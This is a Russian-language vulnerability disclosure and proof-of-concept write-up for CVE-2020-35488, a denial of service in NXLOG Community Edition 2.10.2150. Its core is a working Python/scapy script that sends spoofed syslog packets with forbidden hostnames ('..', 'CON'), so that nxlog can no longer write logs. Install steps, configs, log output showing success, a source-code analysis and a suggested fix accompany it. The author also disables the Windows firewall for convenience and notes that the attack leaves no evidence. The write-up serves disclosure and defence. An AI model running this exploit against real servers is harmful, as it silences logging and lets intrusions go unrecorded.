
Доказательство концепции эксплуатации для CVE-2020-35488, уязвимости типа «отказ в обслуживании» в NXLOG Community Edition, вызванной специально сформированными syslog-нагрузками, приводящими к сбоям при создании каталогов.
Я обнаружил уязвимость в продукте: nxlog-ce_2.10.2150. Я тестировал свой PoC только на Linux (Debian 10) и Windows (Windows Server 2016).
Область действия : NXLOG Community Edition 2.10.2150
Тип ошибки : CWE-502, Десериализация недоверенных данных https://cwe.mitre.org/data/definitions/502.html
Уязвимый компонент : Syslog payload
Полезная нагрузка :
МОЙ РАСЧЁТ CVSS :
Вектор атаки : Сеть
Требуемые привилегии : Отсутствуют
Область действия : Без изменений
Целостность : Отсутствует
Сложность атаки : Низкая
Взаимодействие с пользователем : Отсутствует
Конфиденциальность : Отсутствует
Доступность : Высокая
Оценка CVSS : 7.5
Уровень опасности : ВЫСОКИЙ
РАСЧЁТ CVSS ОТ NIST : Ссылка : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Вектор атаки :
Требуемые привилегии :
Область действия :
Целостность :
Сложность атаки :
Взаимодействие с пользователем :
Доступность :
Оценка CVSS (3.X) : 7.5
Уровень опасности : ВЫСОКИЙ
Эта уязвимость может вызвать DoS сервера NXLOG.
Но сервер должен иметь определённую конфигурацию: файл конфигурации nxlog должен задавать создание каталога, имя которого содержит поле из части полезной нагрузки Syslog.
Программа пытается создать каталог, но имя этого каталога не может быть создано в файловой системе.
Поскольку имя этого каталога запрещено.
Вот пример имени каталога, которое невозможно создать:
Поэтому если конфигурация предписывает создавать каталог, имя которого формируется из полезной нагрузки Syslog, злоумышленник может остановить службу Nxlog.
Для эксплуатации этой уязвимости я создал Python-скрипт:
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Установка службы Nxlog на Debian 10:
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
Файл конфигурации службы nxlog:
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Запуск службы Nxlog:
systemctl start nxlog
systemctl status nxlog
Результат:
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Проверка:
lsof -i :514
Результат:
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ок, отлично!
С помощью моего скрипта на Python я могу просто отправить Syslog-сообщение, чтобы проверить, создаёт ли служба Nxlog каталог.
Имя каталога формируется на основе поля HOSTNAME полезной нагрузки Syslog. (См. файл конфигурации)
Итак:
./syslog-exploit.py -ip 192.168.1.55 -os 3
Третий вариант задаёт имя узла 123soleil в полезной нагрузке Syslog.
Итак:
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Ок, сервер Nxlog и Syslog-клиент работают!
Теперь, если я укажу имя узла с запрещённым именем:
./syslog-exploit.py -ip 192.168.1.55 -os 1
Во внутреннем журнале Nxlog:
cat /var/log/nxlog/nxlog.log
Результат:
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
Все новые журналы, отправляемые Syslog-клиентами, больше не будут записываться в файловую систему.
Служба nxlog переходит в неопределённое состояние, поскольку пытается создать каталог, который не может быть создан.
Для наглядности: если я попытаюсь отправить на сервер новую полезную нагрузку Syslog, то во внутреннем журнале появится такая запись:
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times
Я протестировал этот эксплойт со всеми доступными методами:
И при всех методах эксплойт работает!
Источники:
Ссылка для установки: https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi
Файл конфигурации Nxlog:
########################################
# Global directives #
########################################
define ROOT C:\Program Files (x86)\nxlog
define CERTDIR %ROOT%\cert
define CONFDIR %ROOT%\conf
define LOGDIR %ROOT%\data
define LOGFILE %LOGDIR%\nxlog.log
LogFile %LOGFILE%
Moduledir %ROOT%\modules
CacheDir %ROOT%\data
Pidfile %ROOT%\data\nxlog.pid
SpoolDir %ROOT%\data
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog();
</Input>
<Output file>
Module om_file
CreateDir TRUE
File '%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Запуск службы Nxlog:
Start-Service -Name "nxlog"
Get-Service -Name "nxlog"
Результат:
Status Name DisplayName
------ ---- -----------
Running nxlog nxlog
Проверка:
netstat -an | Select-String "514"
Результат:
UDP 0.0.0.0:514 *:*
Ок, отлично!
Отключаю брандмауэр Windows, потому что не хочу создавать правило брандмауэра... :
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
С помощью моего скрипта на Python я могу просто отправить Syslog-сообщение, чтобы проверить, создаёт ли служба Nxlog каталог.
Имя каталога формируется на основе поля HOSTNAME полезной нагрузки Syslog. (См. файл конфигурации)
Итак:
./syslog-exploit.py -ip 192.168.1.54 -os 3
Каталог и журнал создаются:
ls "C:\Program Files (x86)\nxlog\data\"
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 29/11/2020 19:31 123soleil
-a---- 29/11/2020 19:52 257 nxlog.log
ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 29/11/2020 19:31 75 123soleil.log
cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Теперь, если я укажу имя узла с запрещённым именем:
./syslog-exploit.py -ip 192.168.1.54 -os 2
Во внутреннем журнале Nxlog:
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log'
Результат:
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
Все новые журналы, отправляемые Syslog-клиентами, больше не будут записываться в файловую систему.
Служба nxlog переходит в неопределённое состояние, поскольку пытается создать каталог, который не может быть создан.
Для наглядности: если я попытаюсь отправить на сервер новую полезную нагрузку Syslog, то во внутреннем журнале появится такая запись:
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times
Я протестировал этот эксплойт со всеми доступными методами:
И при всех методах эксплойт работает!
Источник:
Злоумышленник может остановить службу Nxlog и атаковать ИТ-инфраструктуру без каких-либо доказательств этой атаки.
Я нашёл исходный код NXLOG 2.10.2150 на вашем сайте: https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz
И я определил этот метод в om_file.c:
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
char pathname[APR_PATH_MAX + 1];
char *idx;
apr_pool_t *pool;
ASSERT(filename != NULL);
idx = strrchr(filename, '/');
#ifdef WIN32
if ( idx == NULL )
{
idx = strrchr(filename, '\\');
}
#endif
if ( idx == NULL )
{
log_debug("no directory in filename, cannot create");
return;
}
pool = nx_pool_create_child(module->pool);
ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool),
"CreateDir is TRUE but couldn't create directory: %s", pathname);
log_debug("directory '%s' created", pathname);
apr_pool_destroy(pool);
}
Вам необходимо добавить в om_file_create_dir проверку имени каталога. Ресурс:
Вы используете функцию apr_dir_make_recursive для создания каталога; эта функция входит в состав Apache Portable Runtime Project. APR
Пожалуйста, проверьте версию, которую вы используете в своём бинарном файле.
Проверка публичного PoC не позволяет провести другую атаку (например, RCE).
Ссылки:
Не используйте эти функции, пока Nxlog не выпустит официальный патч для версий Community.